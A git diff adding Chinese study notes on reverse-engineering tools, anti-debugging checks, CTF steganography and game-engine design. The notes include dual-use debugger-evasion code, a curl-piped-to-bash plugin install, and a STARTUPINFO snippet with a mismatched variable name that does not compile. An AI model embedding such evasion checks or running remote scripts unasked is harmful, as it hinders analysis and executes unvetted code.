+普通平台下的安装方法不同, 具体请参考[安装方法](https://github.com/radareorg/radare2#installation). +使用方法请参考[在线手册](https://book.rada.re/)和[Wiki](https://r2wiki.readthedocs.io/). + +### 快速入门 + +1. [启动](https://book.rada.re/first_steps/commandline_flags.html) + + ```sh + r2 [程序名称] + r2 -d [程序名称] # 对程序进行调试 + ``` + + 之后便进入 radar2 内部的命令行. + 除了启动时指定要对程序进行调试, 也可以在静态分析后使用 `ood` 命令重载文件, 启用调试模式. + +2. [分析/反编译](https://book.rada.re/analysis/code_analysis.html) + + ```sh + > iI # 查看程序基本信息 (类似 file + checksec) + > aaa # 对全部函数进行分析 + > afl # 列出全部函数 + > afl~main # 查看包含特定关键字的函数 + + > s main # 定位到指定函数 + > pdf # 输出反编译结果 + > pdf @ main # 输出 main 函数的反编译结果 + > pdc # 输出反编译结果 + + > iS # 导入表 + > iE # 导出表 + > iz # 数据段字符串 + ``` + + 其中 `~` 类似 `| grep`, 可在不同命令中使用. + +3. [视觉模式](https://r2wiki.readthedocs.io/en/latest/options/capv/visual-mode/) + + ```sh + > V # 进入视觉模式 + > VV # 进入流程图模式 + > V! # 进入可视面板模式 + > v # 进入可视面板模式 + > p # 切换面板类型 + ``` + + 进入视觉模式后可以按 `p` 进行切换, 按 ` `/`V` 在 V 和 VV 模式之间切换, 按 `Shift+!` 进入视觉面板模式, 即可以同时启用多个窗口显示不同内容. + VV 模式下, 可以使用 `+`/`-` 进行缩放. + +4. 调试 + + | 按键 | 描述 | + | ---- | -------- | + | F2 | 设置断点 | + | F7 | 单步步入 | + | F8 | 单步步过 | + | F9 | 执行 | + + ```sh + > iz # 输出字符串 + > pf @ [变量名] # 输出变量的值 + > pf z @ [变量名] # 输出 null-terminated 字符串变量的值 + ``` + +5. 帮助 + + 语法是 `[cmd]?`, 比如: + + - 查看全部指令: `?`. + - 查看 pd 开头的指令和用途: `pd?`. + - 查看 pdc 指令的用途: `pdc?`. + - 更多帮助命令的用法: `???`. + +## 调试器 + +### [x64dbg](https://github.com/x64dbg/x64dbg) + +![x64dbg "Visual Studio Dark Theme"](assets/x64dbg.png) + +开源, 免费, 只支持 Windows. 详情请参考[官网](https://x64dbg.com/). +是 [OllyDbg](https://www.ollydbg.de/version2.html) (于 2013 年停止维护) 的良好替代品. + +- [配色方案](https://github.com/x64dbg/x64dbg/wiki/Color-Schemes) +- [插件](https://github.com/x64dbg/x64dbg/wiki/Plugins) + +### [WinDbg](https://apps.microsoft.com/store/detail/windbg-preview/9PGJGD53TN86) + +支持 Time Travel Debugging (TTD)[^1]. + +### [GDB](https://www.sourceware.org/gdb/) + +大部分 Linux 发行版自带 `gdb`, 若要调试其他架构的程序需要安装 `gdb-multiarch`. +[在线试用](https://www.onlinegdb.com/). + +#### 快速入门 + +```sh +# 执行 +r [args] # run, 执行程序 +c # cotinue, 继续执行 +s # step, 源码级单步步入 +n # next, 源码级单步步过 +si # step inst, 指令级单步步入 +ni # next inst, 指令级单步步过 +finish # 步出 +until [n] # 执行到第 n 行 + +# 断点 +b [file:][func|line] # break, 添加断点 +delete [id] # 删除指定 id 的断点 +disable [id] # 禁用指定 id 的断点 +enable [id] # 启用指定 id 的断点 +i b # info break, 列出断点信息 + +# 变量 +i args # info args, 列出当前函数参数 +i locals # info locals, 列出局部变量 +p [var] # print, 输出变量 var 的值 + +# 反汇编 +disassemble [func] # disassemble, 输出函数 func 的反汇编, func 缺省则输出前函数的 +set disassembly-flavor intel # 使用 Intel 汇编语法 + +# 其他 +i r # info register, 列出寄存器信息 +bt # backtrace, 输出调用栈 +q # quit, 退出 +``` + +#### 插件 + +安装 pwndbg: + +```sh +git clone https://github.com/pwndbg/pwndbg.git +cd pwndbg +./setup.sh +``` + +```sh +# Arch/Manjaro +sudo pacman -S pwndbg +echo 'source /usr/share/pwndbg/gdbinit.py' >> ~/.gdbinit +``` + +!!! warning + 安装后需保留本地仓库. + +安装 peda: + +```sh +git clone https://github.com/longld/peda.git +echo "source ~/peda/peda.py" >> ~/.gdbinit +``` + +!!! warning + 安装后需保留本地仓库. + +安装 GEF: + +```sh +bash -c "$(curl -fsSL https://gef.blah.cat/sh)" +``` + +### GDB 与 LLDB + +- 可以对代码进行反汇编, 但只是简单的输出反汇编代码. 可以搭配 Radare2 使用(LLDB 需要 r2lldb 插件), 同时具备调试和反汇编功能. +- 所使用的指令是不完全相同的, 请参考[具体区别](https://lldb.llvm.org/use/map.html). +- GDB 支持的语言更多. + +使用 intel 汇编语法: + +```sh +set disassembly-flavor intel # GDB +settings set target.x86-disassembly-flavor intel # LLDB +``` + +### [QIRA](https://github.com/geohot/qira) + +QIRA (QEMU Interactive Runtime Analyser) 是一款时间无关[^1]的调试器. 可以集成到 IDA Pro 中. + +## 常用命令 + +以下是在进行动态调试时常用的命令: + +- 查看程序基本信息 + + ```sh + file [file] + ``` + +- 查看程序依赖库 + + ```sh + ldd [file] + dumpbin /DEPENDENTS [file] # Windows + ``` + +- 查看进程的调用栈 + + ```sh + pstack [pid] + ``` + +- 检测系统调用 + + ```sh + strace [option] [file | -p [pid]] + ``` + + 常用参数: + + - `-c`: 按系统调用进行汇总, 包括耗时/时间占比/调用次数/失败次数等. + - `-t`: 在输出的系统调用信息记录前加上时间戳. + - `-T`: 在输出的系统调用信息记录后加上耗时. + + 还可以对记录按系统调用或类型进行过滤. + +## 解释型语言 + +由于解释型语言并不直接生成可执行代码, 因此需要使用不同的工具进行分析. 通常脚本语言的解释器会将源码文件转换为字节码文件, 以提高解释的效率. +脚本语言的逆向较为简单, 因为字节码可以直接对应到源代码, 而且也保留了变量名称等信息便于输出异常信息. + +### Python + +Python 的源码文件(.py)可以转换为字节码文件(.pyc), 或通过 [py2exe](https://github.com/py2exe/py2exe)/[pyinstaller](https://github.com/pyinstaller/pyinstaller/) 等工具转换为不同平台的可执行文件. + +#### 识别 + +存在较多包含 `Py` 字眼的字符串. + +#### 反编译 + +1. 利用 [unpy2exe](https://github.com/matiasb/unpy2exe)/[pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) 重新转换为字节码文件. +2. 利用 [uncompyle2](https://github.com/wibiti/uncompyle2) 将字节码文件反编译为源码文件. + +### Java + +#### 识别 + +存在较多包含 `java` 字眼的字符串. + +#### 反编译 + +类似许多脚本打包软件, exe4j 的工作原理是先将 jar 文件写入到系统临时目录中, 然后再执行 jar 文件. 因此只需要从临时目录中找到相应的文件即可. +jar 文件是字节码文件(.class)的合集, 可以直接利用 jad/jd-gui/Fernflower 等工具进行反编译. + +### .NET + +#### 识别 + +这类文件具有明显的特征, 可以通过工具分析出来. 比如通过 IDA 加载的时候文件类型会出现 `Microsoft.NET assembly` 选项. + +#### 反编译 + +- .NET Reflector: .NET 反编译. +- de4dot: .NET 反混淆. + +[^1]: https://en.wikipedia.org/wiki/Time_travel_debugging diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\215\350\260\203\350\257\225.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\215\350\260\203\350\257\225.md" new file mode 100644 index 000000000..deba37a80 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\215\350\260\203\350\257\225.md" @@ -0,0 +1,88 @@ +# 反调试 + +## 通用 + +### 软断点检测 + +以 x86 指令集为例, 调试器通过插入指令 INT3 来实现软断点. 若检测发现代码中存在该指令或代码被修改, 则表明已被跟踪. + +### 硬件断点检测 + +寄存器 DR0/DR1/DR2/DR3 用于设置硬件断点, 若其中有寄存器的值不是 0, 则表明已被跟踪. + +### 执行时长 + +通过调试器人为干扰代码运行可能导致执行时间显著变长. + +## Linux + +### ptrace + +由于进程一次只能被一个程序跟踪, 因此可以尝试通过 ptrace 来跟踪自己. 若失败, 则表明已被跟踪. + +```cpp +bool is_tracked() noexcept { + return ptrace(PTRACE_TRACEME, 0, 1, 0) == -1; +} +``` + +### proc + +读取 `/proc/self/status`, 其中 TracerPid 的值是跟踪进程的 PID, 若该值不为 0 则表明已被跟踪. + +### 父进程 + +通过调用 `getppid` 获取父进程的 PID, 并查询该进程的信息. 若进程是调试器, 则表明已被跟踪. + +## Windows + +### IsDebuggerPresent + +`IsDebuggerPresent()` 是一个位于 kernel32.dll 中的函数. + +```cpp +bool is_tracked() noexcept { + return IsDebuggerPresent(); +} +``` + +简单的改进方法就是自行实现该函数, 检查 [PEB](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) 中 `BeingDebugged` 的值, 若为 1 则表明已被跟踪. + +绕过检测的方法就是将 `BeingDebugged` 置为 0. + +### STARTUPINFO + +`explorer.exe` 创建线程时会将 STARTUPINFO 的部分值置为 0, 因此可以获取 STARTUPINFO 的值, 若特定部分不为 0 则表明已被跟踪. + +```cpp +bool is_tracked() noexcept { + STARTUPINFO startupInfo; + GetStartupInfo(&startupInfo); + return si.dwX != 0 || si.dwY != 0 || si.dwFillAttribute != 0 || si.dwXSize != 0 || + si.dwYSize != 0 || si.dwXCountChars != 0 || si.dwYCountChars != 0; +} +``` + +还有下列的等更多方法, 这里不再赘述. + +- CheckRemoteDebuggerPresent: 检测指定进程是否被调试. +- NtQueryInformationProcess: 有属性表明指定进程是否被调试. +- NtGlobalFlag: 包含如何创建堆结构的属性, 调试器会修改这个值. +- ProcessHeap: 有属性用于表明堆是否在调试器中创建. +- 父进程. +- 异常处理. +- SeDebugPrivilege: 被调试进程继承了调试器的 SeDebugPrivilege 权限. +- OutputDebugString: 没有被调试时, 该函数会失败. +- 注册表: + + SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug(32位) + SOFTWARE\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\AeDebug(64位) 指定程序异常时启动的调试器, 默认值是 Dr.Watson. + +除了检测是否正在被跟踪, 还可以直接干扰调式工作. + +详情请参考 . + +## 参见 + +- [BaumFX/cpp-anti-debug: anti debugging library in c++.](https://github.com/BaumFX/cpp-anti-debug). +- [ThomasThelen/Anti-Debugging: A collection of c++ programs that demonstrate common ways to detect the presence of an attached debugger.](https://github.com/ThomasThelen/Anti-Debugging). diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\350\260\203\347\224\250\347\272\246\345\256\232.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\350\260\203\347\224\250\347\272\246\345\256\232.md" new file mode 100644 index 000000000..87d641b8c --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\350\260\203\347\224\250\347\272\246\345\256\232.md" @@ -0,0 +1,34 @@ +# 调用约定 + +**英文**: Calling Convention. +**别名**: 调用方法, 调用规则. + +| 调用约定 | 入栈顺序 | 清栈责任 | +| -------- | -------------------------------------- | -------- | +| cdecl | 从右到左 | 调用者 | +| stdcall | 从右到左 | 被调用者 | +| fastcall | 从右到左(左边部分参数寄存器, 其他堆栈) | 被调用者 | +| thiscall | 从右到左(this 寄存器) | 被调用者 | +| pascal | 从左到右 | 被调用者 | + +## cdecl + +为 C Declaration 的缩写, 是 C/C++ 的默认调用约定, 可变参数函数只能使用该调用约定. + +## stdcall + +为 Standard Call 的缩写, Win API 只使用该调用约定和 vectorcall. + +## thiscall + +是 C++ 非静态成员函数的默认调用约定. +通常, this 使用寄存器 cx 传递. + +## fastcall + +部分参数利用寄存器传参, 以提高函数调用的效率. +通常, 左侧两个参数使用寄存器 dx, cx 传递. + +## pascal + +是 Pascal/Delphi 所使用的调用约定. diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\232\220\345\206\231\346\234\257.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\232\220\345\206\231\346\234\257.md" new file mode 100644 index 000000000..db0937ce7 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\232\220\345\206\231\346\234\257.md" @@ -0,0 +1,212 @@ +# 隐写术 + +**英文**: Steganography. + +隐写术是一门关于信息隐藏的技巧与科学, 用于秘密传递信息和电子水印. + + + +## 确定文件类型 + +对文件进行分析. + +```sh +file [file] +``` + +!!! info "CTF" + 若识别文件类型后使用相应软件无法打开可能是头部的 magic 数字缺失, 在文件头部添加对应的 magic 数字即可. 文件类型可能会通过文件名字暗示. + +## 文件分离 + +识别并分离又多个文件合成的单个文件. + +### 自动分离 + +```sh +binwalk [file] # 分析 +binwalk -e [file] # 分离 +``` + +[binwalk] 只是将附加的文件分离出来, 不包含第一个文件. +若 binwalk 无法成功识别和分离, 可以使用 [foremost]: + +```sh +foremost [file] # 分离 +cat output/audit.txt +``` + +foremost 并没有在标准输出中直接给出有价值的信息, 而是写入到了输出目录中的 `audit.txt` 文件里. + +[binwalk]: https://github.com/ReFirmLabs/binwalk +[foremost]: https://github.com/gerryamurphy/Foremost + +### 手动分离 + +当多个文件数据不是简单的依次追加在文件末尾时, 自动分离便会失效或输出无效内容. 这时需要进人工动分析并手动分离. + +```sh +dd if=[in_file] of=[out_file] bs=[block_size] count=[block_count] skip=[block_skip] +``` + +将 `in_file` 中从 `block_skip * block_size` 处开始大小为 `block_size * block_count` 的数据写入到 `out_file` 中. +若数据不是一块一块的, 则可以将 `block_size` 设置为 1(默认单位为字节), 这样 `block_count` 就表示要导出的字节数, `block_skip` 表示要跳过的字节数. + +## 文件合并 + +```sh +cat [file1] [file2] > [out_file] +copy /B [file1]+[file2] [out_file] # Windows +``` + +!!! info "CTF 文件内容隐写" + 直接把 ASCII 编码的 flag 塞到二进制文件中, 可以通过搜索关键字查找. + +## 图片 + +针对图片文件的隐写需要先对图片文件大致的格式有基础的了解, 才能知道哪些地方可以藏数据且不破坏原本的图像或使人无法察觉. +图片文件可能包含一下几个部分: + +- 文件头部, 包含了数据部分长度和图像的属性, 如 Exif, GPS. + 其中一部分并不影响图像解析的数据可以用于隐藏数据. 看利用图片查看器, 文件属性查看器或 [ExifTool](https://github.com/exiftool/exiftool) 来进行查看. + 影响图像显示的属性(如图像大小), 也可以用于隐藏数据. +- 数据部分, 包含了图像具体的数据. + 在这部分隐藏数据一定会影响到图像, 但可以使用 [LSB](#lsbleast-significant-bit) 来使人无法察觉. +- 尾部. + +部分图片格式还包含了其他部分, 因此也有专门的藏数据的方法. + +!!! info "CTF" + 图片无法正常显示可能是图片属性的校验值错误, 需要更正校验值. 也有可能是图片大小不正确导致计算出的校验值错误. + +### LSB(Least Significant Bit) + +#### LSBR(LSB Replacement) + +通过改写每个像素的颜色的最后几个比特来隐藏数据. +以 256 位值表示一个颜色为例, 修改最后 2 比特对原值造成的变动在区间 [0, 2^2 - 1] 即 [0, 3] 内. 每个像素单个颜色的变化率大约在 0%~1% 之间, 因此肉眼不易察觉. + +若图片是通过相机拍照得到的, 则会不可避免的存在相机底噪. 使得最低为为 0 和 1 的概率分别趋近于 0.5. 使用 LSBR 在图像的最低位被替换为一定量的数据后, 则会破坏统计特性. + +#### 分析 + +[StegSolve](https://github.com/Giotino/stegsolve) 可以以更细的粒度(颜色通道, 具体的位)对图像进行操作. + +- File Format 查看文件信息. +- Data Extract 用于分析使用 LSB 隐藏数据的图像. +- Frame Browser 逐帧查看图像. +- Image Combiner 对两张图片进行加减或位运算操作并显示结果. + +[zsteg](https://github.com/zed-0xff/zsteg) 可以自动检测 LSB 并输出结果, 疑似有效的结果会高亮显示. 该工具可以通过以下指令安装: + +```sh +gem install zsteg +``` + +!!! info "CTF" + CTF 图像相关的题目也可能直接将图像进行加密, 应先使用 stegdetect 检测加密方式, 然后再使用对应的解密工具和密钥进行解密. + + ```sh + stegdetect -s 10 [file] + outguess -r [file] [out_file] # outguess + java Exrtact [file] -p [password] # F5 + ``` + +### 调色板 + +**别名**: EzStego. + +部分图片格式会使用调色板, 如 PNG, GIF. + +### [BPCS (Bit-Plane Complexity Segmentation)](https://en.wikipedia.org/wiki/BPCS-steganography) + +## 抗干扰 + +由于图片传递的过程可能被二次加工 (如压缩/滤镜/缩放等), 使隐写的数据具备一定抗干扰能力也十分重要. + +- 抗干扰: JSteg, F5. +- 不抗干扰: LSB, 调色板. + +## 常见文件格式头尾 + +### 图片 + +| 类型 | 文件头 | 文件尾 | +| --------------------- | ----------------------------------------- | ----------- | +| JPEG | FF D8 FF | FF D9 | +| PNG | 89 50 4E 47 0D 0A 1A 0A | AE 42 60 82 | +| GIF | 47 49 46 38 39(37) 61 | 00 3B | +| BMP | 42 4D | | +| TIFF(tif) | 49 49 2A 00 | | +| ico | 00 00 01 00 | | +| Adobe Photoshop (psd) | 38 42 50 53 | | +| TGA | 未压缩 00 00 02 00 RLE压缩 00 00 10 00 00 | | + +### Office + +| 类型 | 文件头 | +| --------------------------- | --------------------------------------------------------------------------- | +| MS Word/Excel(xls.or.doc) | D0 CF 11 E0 | +| MS Access(mdb) | 53 74 61 6E 64 61 72 64 20 4A | +| WordPerfect(wpd) | FF 57 50 43 | +| Adobe Acrobat(pdf) | 25 50 44 46 2D 31 2E | +| application/vnd.visio(vsd) | D0 CF 11 E0 A1 B1 1A E1 | +| Email [thorough only] (eml) | 44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A | +| Outlook Express(dbx) | CF AD 12 FE C5 FD 74 6F | +| Outlook(pst) | 21 42 44 4E | +| Rich Text Format(rtf) | 7B 5C 72 74 66 | +| txt | Unicode:FE FF / Unicode big endian:FF FE / UTF-8:EF BB BF / ANSI无文件头 | + +### 压缩包 + +| 类型 | 文件头 | 文件尾 | +| ----------------- | ----------- | ------ | +| ZIP Archive (zip) | 50 4B 03 04 | 50 4B | +| RAR Archive (rar) | 52 61 72 21 | | + +### 音频文件 + +| 类型 | 文件头 | +| ----------------- | ----------- | +| Wave (wav) | 57 41 56 45 | +| audio (Audio) | 4D 54 68 64 | +| audio/x-aac (aac) | FF F1(9) | + +### 视频文件 + +| 类型 | 文件头 | +| ------------------- | ----------------------- | +| AVI (avi) | 41 56 49 20 | +| Real Audio (ram) | 2E 72 61 FD | +| Real Media (rm) | 2E 52 4D 46 | +| MPEG (mpg) | 00 00 01 BA(3) | +| Quicktime (mov) | 6D 6F 6F 76 | +| Windows Media (asf) | 30 26 B2 75 8E 66 CF 11 | +| MIDI (mid) | 4D 54 68 64 | + +### 代码文件 + +| 类型 | 文件头 | +| ---------------------- | -------------- | +| XML (xml) | 3C 3F 78 6D 6C | +| HTML (html) | 68 74 6D 6C 3E | +| Quicken (qdf) | AC 9E BD 8F | +| Windows Password (pwl) | E3 82 85 96 | + +### 其他类型 + +| 类型 | 文件头 | +| ---------------------- | ----------------------- | +| Windows证书文件 (der) | 30 82 03 C9 | +| CAD (dwg) | 41 43 31 30 | +| Windows Shortcut (lnk) | 4C 00 00 00 | +| Windows reg (reg) | 52 45 47 45 44 49 54 34 | + +## 参见 + +- . diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/ECS.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/ECS.md" new file mode 100644 index 000000000..4ea38ef62 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/ECS.md" @@ -0,0 +1,161 @@ +# ECS + +**中文**: 实体-组件-系统. +**英文**: Entity-Component-System(ECS). + +## 概述 + +相对于使用面向对象的继承, ECS 有一下几个优点: + +* 模块化: ECS 可以增加代码重用, 避免代码体积迅速膨胀. +* 避免继承带来的缺陷: 相比传统的继承, ECS 不用担心"菱形继承", 继承关系复杂等问题. +* 高性能: 数据以组件的形式添加, 内存管理自由, 可以有效利用数据局部性原理(Cache 友好). + +ECS 由实体 (*e*ntity), 组件 (*c*omponents) 和系统 (*s*ystem) 三部分组成, 分别对应标识, 数据和行为. 它们之间的具体关系如下图所示: + +![Figure-0 Concept](assets/ecs\_block.png) + +## 实体 (Entity) + +实体只作为标识, 可向其添加和移除组件. 但实体本身并不包含组件的数据, 类似一个指向了组件数据的指针. +下面是一个实体的简单实现: + +```cpp +struct Entity +{ + uint64_t id; // ID + uint32_t version; // 版本 +} +``` + +- ID + + 是实体作为标识的具体实现方法, 存放了一个唯一的 ID. 实体销毁后 ID 会被回收, 并将在后续创建的新实体中继续使用. 这意味着分发实体的类需要维护一个以回收的 ID 表. + +- 版本 (Version) + +实体只是一个标识, 因此在内存中可能存在多个副本. 且实体销毁后所使用的 `id` 会被重新利用, 无法通过判断 `id` 使用已使用来检查实体是否有效. +因此引入了第二个属性 `version`. 实体每次销毁 `version` 都增加 1, 以确保已销毁的实体的副本无效化. + +## 组件 (Component) + +组件用于存储数据, 无需包含成员函数. , 下面是一个具体组件的简单实现: + +```cpp +struct TransformComponent +{ + Vector3 translation; + Quaternion rotation; + Vector3 scale; +}; +``` + +上面的组件用于表示实体的变换, 可用于图形渲染或物理模拟等系统. 如有必要, 还可以将该组件进一步拆分为三个单独的组件. + +## 系统 (System) + +系统负责处理实体组件的数据. 不同的系统根据自身功能, 只关注具备某些组件的实体. +例如, 移动系统负责更新实体位置, 它需要读取并修改每个实体的位置和速度两个组件数据. 因此, 移动系统只需要遍历并操作同时包含位置和速度组件的实体. + +## Archetypes + +一种独特的组件类型组合被称为一个 Archetype. 如下图, 可以通过组件类型的组合分为 M, N 两种 Archetype. 对组件类型的改动也会造成实体 Archetype 的改变. 例如, 移除实体 B 的 Renderer 组件会使其的 Archetype 从 M 变为 N. + +![Archetype - docs.unity3d.com](assets/archetype.png) + +Archetype 可以看作是组件种类的合集, 因此可以用 `std::bitset` 来存储这些数据来方便的实现快速的交并集运算. +除了对 `std::bitset` 进行简单的封装, 还负责管理组件对应的位, 将具体实现方式完全隐藏起来. +每个组件对应一个位, 位的状态表示是否包含该组件. 通常会使用下列几种运算: + +- any: a 是否包含 b 的任意一个组件, 即 a 与 b 之间是否存在交集. 只需要判断 `a & b` 是否为 true. +- all: a 是否包含 b 的全部组件, 即是 a 是否是 b 的子集. 只需要判断 `a & b` 是否与 b 相等. +- none: a 是否没有包含 b 的任何组件, a 与 b 之间没有交集. 只需要判断 `a & b` 是否为 false. + +可用于实体和系统之间的解耦, 具有相同组件的实体拥有相同的 Archetype, 对相同组件感兴趣的系统具有相同的 Archetype. +实体通过 Archetype 进行分组, 系统用过 Archetype 查询实体. + +类似面向对象中类的实例化, 可以通过 Archetype 来创建实体. 并可以对 Archetype 做加法来实现类似继承的效果. + +下面是一个 Archetype 的简单实现: + +```cpp +class Archetype +{ +public: + // 通过组件类型创建 Archetype + template + static Archetype create() {...} + + Archetype(...) {...} + + bool any_of(const Archetype&) const {...} + bool all_of(const Archetype&) const {...} + bool none_of(const Archetype&) const {...} + +private: + std::bitset<32> signature_; // 每一个位表示一个组件, 若 Archetype 包含某个组件, 则将对应的位设为 1, 否则为 0 + inline static std::unordered_map index_; // 组件类型 -> 在 `signature_` 中对应的位 +}; +``` + +## 无缝数组 + +这是一个存储组件数据的方法. 该数组能确保元素总是在内存中连续存放的, 以提高遍历数组元素的效率. +被移除的元素将被最后一个元素替代, 因此在移除操作后该数组中元素的索引可能发生变化. 需要维护一张记录虚拟索引到实际索引的映射表. +下面是一个简单的不完整实现: + +```cpp +template +class Array +{ +public: + // 添加或访问元素 + T& operator[](std::size_t index) { + auto [iter, inserted] = index_map_.try_emplace(index, index_map_.size()); + if(inserted) + return data_.emplace_back(); + return data_[iter->second]; + } + + // 移除元素 + void remove(std::size_t index) { + data_[index_map_[index]] = data_.back(); + index_map_.erase(index); + + // data_.pop_back(); + } + + // 获取元素数 + std::size_t size() const noexcept { return index_map_.size(); } + +private: + std::vector data_; // 实际数据 + std::unordered_map index_map_; // 映射表 +} +``` + +访问元素只需要一个可以是任意值的虚拟索引, 正好可以使用实体的 ID. + +## 性能剖析 + +```sh +valgrind --tool=cachegrind +``` + +## Unity ECS + +### 内存块(Memory Chunks) + +实体组件的存储位置取决于其 Archetype. 申请的内存块被简称为 chunk. 每个 chunk 只会存储具有相同 Archetype 的实体. + +![Memory Chunk - docs.unity3d.com](assets/archetype\_chunk.png) + +## 参见 + +- [https://austinmorlan.com/posts/entity\_component\_system/](https://austinmorlan.com/posts/entity\_component\_system/). +- [https://wickedengine.net/2019/09/29/entity-component-system/](https://wickedengine.net/2019/09/29/entity-component-system/). + +## 参考 + +- [A Simple Entity Component System (ECS) \[C++\] - Austin Morlan](https://austinmorlan.com/posts/entity\_component\_system/). +- [Unity ECS](https://docs.unity3d.com/Packages/com.unity.entities@0.10/manual/ecs\_core.html). diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/archetype.png" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/archetype.png" new file mode 100644 index 000000000..e621a86e2 Binary files /dev/null and "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/archetype.png" differ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/archetype_chunk.png" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/archetype_chunk.png" new file mode 100644 index 000000000..9701cfe30 Binary files /dev/null and "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/archetype_chunk.png" differ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/ecs_block.png" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/ecs_block.png" new file mode 100644 index 000000000..bb1a9f506 Binary files /dev/null and "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/ecs_block.png" differ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/game_engine.png" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/game_engine.png" new file mode 100644 index 000000000..370c5b2e8 Binary files /dev/null and "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/game_engine.png" differ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/game_engine_color.jpg" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/game_engine_color.jpg" new file mode 100644 index 000000000..e3ee8d60e Binary files /dev/null and "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/assets/game_engine_color.jpg" differ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\212\250\347\224\273.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\212\250\347\224\273.md" new file mode 100644 index 000000000..de343e450 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\212\250\347\224\273.md" @@ -0,0 +1,25 @@ +# 动画 + +## 类型 + +### 赛璐璐动画 (cel animation) + +赛璐璐是透明是塑料片, 因此可以直接放置在背景上. 赛璐璐动画电子版即精灵动画 (sprite animation). 通过重复播放一组图片来实现动画, 这种动画被称为循环动画 (looping animation). 而这组图片被称为一个周期, 比如角色可能有跑步周期/闲置周期和步行周期. +这种动画技术只能较好地运用在 2D 动画中, 而在 3D 动画中如 *毁灭战士* 中的动画纹理 (animated texture) 则只能取得较差的效果, 因为其本质依然是 2D 动画. + +### 刚性层阶式动画 (rigid hierarchical animation) + +该方法简单的将角色看作由若干刚性部分组成的, 因此适用于由刚性部件组成的物体 (如: 机械), 但不适用于由非刚性部件组成的物体 (如: 动物). + +### 每顶点动画 (per-vertex animation) + +记录每个顶点随时间变化的动作信息, 然后根据新的顶点数据生成网格. 该方法明显过于暴力, 无法应用在实时渲染中. + +该技术还存在一个变种, 即变形目标动画 (morph target animation). 只记录极端姿势 (extreme pose), 并运用线性插值补全数据. +常用于面部动画 (facial animation), 因为人脸由大约50组肌肉所驱动, 较为复杂. + +### 蒙皮动画 (skinned animation) + +该技术结合了刚性层阶式动画和每顶点动画的优点. 在模拟非刚性组件动画时, 具备高性能/低内存占用的特点. + +## 骨骼 (skeleton) diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\217\202\350\200\203.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\217\202\350\200\203.md" new file mode 100644 index 000000000..21bcf3e44 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\217\202\350\200\203.md" @@ -0,0 +1,15 @@ +# 参考 + +## 书籍 + +- [游戏编程模式](https://gameprogrammingpatterns.com/)(Game Programming Patterns): 讲解了一些适用于游戏编程的设计模式. +- [游戏引擎架构](https://www.gameenginebook.com/)(Game Engine Architecture): 讲解了游戏引擎所应该具备的各个模块, 这里参考的是本书的第二版. +- *网络多人游戏架构与编程*: 讲解了网络多人游戏的实现. + +## 网站 + +- [NVIDIA GPU Gems 3](https://developer.nvidia.com/gpugems/gpugems3/). + +## 网页 + +- [Thumbstick Deadzones](https://github.com/Minimuino/thumbstick-deadzones) 讲解了如何处理手柄死区. diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\256\271\345\231\250.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\256\271\345\231\250.md" new file mode 100644 index 000000000..b9570768d --- /dev/null +++ 